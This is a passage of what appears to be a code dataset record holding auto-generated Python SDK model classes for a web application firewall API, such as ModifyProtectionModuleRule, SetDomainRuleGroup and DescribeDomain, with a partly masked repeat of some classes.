pass\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyLogRetrievalStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyLogRetrievalStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyLogRetrievalStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyLogServiceStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyLogServiceStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyLogServiceStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyLogServiceStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleModeRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, mode=None,\n instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.mode = mode\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.mode is not None:\n result['Mode'] = self.mode\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Mode') is not None:\n self.mode = m.get('Mode')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleModeResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleModeResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleModeResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleRuleRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, rule=None, rule_id=\n None, lock_version=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.rule = rule\n self.rule_id = rule_id\n self.lock_version = lock_version\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule is not None:\n result['Rule'] = self.rule\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.lock_version is not None:\n result['LockVersion'] = self.lock_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Rule') is not None:\n self.rule = m.get('Rule')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('LockVersion') is not None:\n self.lock_version = m.get('LockVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleRuleResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleRuleResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleRuleResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, module_status=None,\n instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.module_status = module_status\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.module_status is not None:\n result['ModuleStatus'] = self.module_status\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('ModuleStatus') is not None:\n self.module_status = m.get('ModuleStatus')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionRuleCacheStatusRequest(TeaModel):\n\n def __init__(self, domain=None, rule_id=None, defense_type=None,\n instance_id=None):\n self.domain = domain\n self.rule_id = rule_id\n self.defense_type = defense_type\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionRuleCacheStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusResponseBody, self).to_map(\n )\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionRuleCacheStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionRuleCacheStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionRuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, rule_id=None,\n rule_status=None, lock_version=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.rule_id = rule_id\n self.rule_status = rule_status\n self.lock_version = lock_version\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.rule_status is not None:\n result['RuleStatus'] = self.rule_status\n if self.lock_version is not None:\n result['LockVersion'] = self.lock_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('RuleStatus') is not None:\n self.rule_status = m.get('RuleStatus')\n if m.get('LockVersion') is not None:\n self.lock_version = m.get('LockVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionRuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionRuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionRuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass SetDomainRuleGroupRequest(TeaModel):\n\n def __init__(self, domains=None, rule_group_id=None, waf_version=None,\n instance_id=None, resource_group_id=None):\n self.domains = domains\n self.rule_group_id = rule_group_id\n self.waf_version = waf_version\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(SetDomainRuleGroupRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domains is not None:\n result['Domains'] = self.domains\n if self.rule_group_id is not None:\n result['RuleGroupId'] = self.rule_group_id\n if self.waf_version is not None:\n result['WafVersion'] = self.waf_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domains') is not None:\n self.domains = m.get('Domains')\n if m.get('RuleGroupId') is not None:\n self.rule_group_id = m.get('RuleGroupId')\n if m.get('WafVersion') is not None:\n self.waf_version = m.get('WafVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass SetDomainRuleGroupResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(SetDomainRuleGroupResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass SetDomainRuleGroupResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(SetDomainRuleGroupResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = SetDomainRuleGroupResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n", "step-4": "<mask token>\n\n\nclass DescribeCertMatchStatusRequest(TeaModel):\n <mask token>\n <mask token>\n <mask token>\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Certificate') is not None:\n self.certificate = m.get('Certificate')\n if m.get('PrivateKey') is not None:\n self.private_key = m.get('PrivateKey')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeCertMatchStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None, match_status=None):\n self.request_id = request_id\n self.match_status = match_status\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeCertMatchStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.match_status is not None:\n result['MatchStatus'] = self.match_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('MatchStatus') is not None:\n self.match_status = m.get('MatchStatus')\n return self\n\n\nclass DescribeCertMatchStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeCertMatchStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeCertMatchStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None):\n self.instance_id = instance_id\n self.domain = domain\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n return self\n\n\nclass DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs(\n TeaModel):\n\n def __init__(self, protocol=None, ports=None):\n self.protocol = protocol\n self.ports = ports\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(\n DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs\n , self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.protocol is not None:\n result['Protocol'] = self.protocol\n if self.ports is not None:\n result['Ports'] = self.ports\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Protocol') is not None:\n self.protocol = m.get('Protocol')\n if m.get('Ports') is not None:\n self.ports = m.get('Ports')\n return self\n\n\nclass DescribeDomainResponseBodyDomainCloudNativeInstances(TeaModel):\n\n def __init__(self, protocol_port_configs=None, redirection_type_name=\n None, cloud_native_product_name=None, instance_id=None,\n ipaddress_list=None):\n self.protocol_port_configs = protocol_port_configs\n self.redirection_type_name = redirection_type_name\n self.cloud_native_product_name = cloud_native_product_name\n self.instance_id = instance_id\n self.ipaddress_list = ipaddress_list\n\n def validate(self):\n if self.protocol_port_configs:\n for k in self.protocol_port_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomainCloudNativeInstances, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n result['ProtocolPortConfigs'] = []\n if self.protocol_port_configs is not None:\n for k in self.protocol_port_configs:\n result['ProtocolPortConfigs'].append(k.to_map() if k else None)\n if self.redirection_type_name is not None:\n result['RedirectionTypeName'] = self.redirection_type_name\n if self.cloud_native_product_name is not None:\n result['CloudNativeProductName'] = self.cloud_native_product_name\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.ipaddress_list is not None:\n result['IPAddressList'] = self.ipaddress_list\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n self.protocol_port_configs = []\n if m.get('ProtocolPortConfigs') is not None:\n for k in m.get('ProtocolPortConfigs'):\n temp_model = (\n DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs\n ())\n self.protocol_port_configs.append(temp_model.from_map(k))\n if m.get('RedirectionTypeName') is not None:\n self.redirection_type_name = m.get('RedirectionTypeName')\n if m.get('CloudNativeProductName') is not None:\n self.cloud_native_product_name = m.get('CloudNativeProductName')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('IPAddressList') is not None:\n self.ipaddress_list = m.get('IPAddressList')\n return self\n\n\nclass DescribeDomainResponseBodyDomainLogHeaders(TeaModel):\n\n def __init__(self, k=None, v=None):\n self.k = k\n self.v = v\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomainLogHeaders, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.k is not None:\n result['k'] = self.k\n if self.v is not None:\n result['v'] = self.v\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('k') is not None:\n self.k = m.get('k')\n if m.get('v') is not None:\n self.v = m.get('v')\n return self\n\n\nclass DescribeDomainResponseBodyDomain(TeaModel):\n\n def __init__(self, http_2port=None, cloud_native_instances=None,\n http_to_user_ip=None, http_port=None, log_headers=None,\n is_access_product=None, access_headers=None, access_header_mode=\n None, https_redirect=None, load_balancing=None, ip_follow_status=\n None, access_type=None, version=None, cluster_type=None, read_time=\n None, write_time=None, resource_group_id=None, cname=None,\n source_ips=None, connection_time=None, https_port=None):\n self.http_2port = http_2port\n self.cloud_native_instances = cloud_native_instances\n self.http_to_user_ip = http_to_user_ip\n self.http_port = http_port\n self.log_headers = log_headers\n self.is_access_product = is_access_product\n self.access_headers = access_headers\n self.access_header_mode = access_header_mode\n self.https_redirect = https_redirect\n self.load_balancing = load_balancing\n self.ip_follow_status = ip_follow_status\n self.access_type = access_type\n self.version = version\n self.cluster_type = cluster_type\n self.read_time = read_time\n self.write_time = write_time\n self.resource_group_id = resource_group_id\n self.cname = cname\n self.source_ips = source_ips\n self.connection_time = connection_time\n self.https_port = https_port\n\n def validate(self):\n if self.cloud_native_instances:\n for k in self.cloud_native_instances:\n if k:\n k.validate()\n if self.log_headers:\n for k in self.log_headers:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomain, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n result['CloudNativeInstances'] = []\n if self.cloud_native_instances is not None:\n for k in self.cloud_native_instances:\n result['CloudNativeInstances'].append(k.to_map() if k else None\n )\n if self.http_to_user_ip is not None:\n result['HttpToUserIp'] = self.http_to_user_ip\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n result['LogHeaders'] = []\n if self.log_headers is not None:\n for k in self.log_headers:\n result['LogHeaders'].append(k.to_map() if k else None)\n if self.is_access_product is not None:\n result['IsAccessProduct'] = self.is_access_product\n if self.access_headers is not None:\n result['AccessHeaders'] = self.access_headers\n if self.access_header_mode is not None:\n result['AccessHeaderMode'] = self.access_header_mode\n if self.https_redirect is not None:\n result['HttpsRedirect'] = self.https_redirect\n if self.load_balancing is not None:\n result['LoadBalancing'] = self.load_balancing\n if self.ip_follow_status is not None:\n result['IpFollowStatus'] = self.ip_follow_status\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.version is not None:\n result['Version'] = self.version\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.read_time is not None:\n result['ReadTime'] = self.read_time\n if self.write_time is not None:\n result['WriteTime'] = self.write_time\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.cname is not None:\n result['Cname'] = self.cname\n if self.source_ips is not None:\n result['SourceIps'] = self.source_ips\n if self.connection_time is not None:\n result['ConnectionTime'] = self.connection_time\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n self.cloud_native_instances = []\n if m.get('CloudNativeInstances') is not None:\n for k in m.get('CloudNativeInstances'):\n temp_model = (\n DescribeDomainResponseBodyDomainCloudNativeInstances())\n self.cloud_native_instances.append(temp_model.from_map(k))\n if m.get('HttpToUserIp') is not None:\n self.http_to_user_ip = m.get('HttpToUserIp')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n self.log_headers = []\n if m.get('LogHeaders') is not None:\n for k in m.get('LogHeaders'):\n temp_model = DescribeDomainResponseBodyDomainLogHeaders()\n self.log_headers.append(temp_model.from_map(k))\n if m.get('IsAccessProduct') is not None:\n self.is_access_product = m.get('IsAccessProduct')\n if m.get('AccessHeaders') is not None:\n self.access_headers = m.get('AccessHeaders')\n if m.get('AccessHeaderMode') is not None:\n self.access_header_mode = m.get('AccessHeaderMode')\n if m.get('HttpsRedirect') is not None:\n self.https_redirect = m.get('HttpsRedirect')\n if m.get('LoadBalancing') is not None:\n self.load_balancing = m.get('LoadBalancing')\n if m.get('IpFollowStatus') is not None:\n self.ip_follow_status = m.get('IpFollowStatus')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ReadTime') is not None:\n self.read_time = m.get('ReadTime')\n if m.get('WriteTime') is not None:\n self.write_time = m.get('WriteTime')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('Cname') is not None:\n self.cname = m.get('Cname')\n if m.get('SourceIps') is not None:\n self.source_ips = m.get('SourceIps')\n if m.get('ConnectionTime') is not None:\n self.connection_time = m.get('ConnectionTime')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n return self\n\n\nclass DescribeDomainResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain=None):\n self.request_id = request_id\n self.domain = domain\n\n def validate(self):\n if self.domain:\n self.domain.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain is not None:\n result['Domain'] = self.domain.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('Domain') is not None:\n temp_model = DescribeDomainResponseBodyDomain()\n self.domain = temp_model.from_map(m['Domain'])\n return self\n\n\nclass DescribeDomainResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainAdvanceConfigsRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain_list=None,\n resource_group_id=None):\n self.instance_id = instance_id\n self.domain_list = domain_list\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_list is not None:\n result['DomainList'] = self.domain_list\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainList') is not None:\n self.domain_list = m.get('DomainList')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass 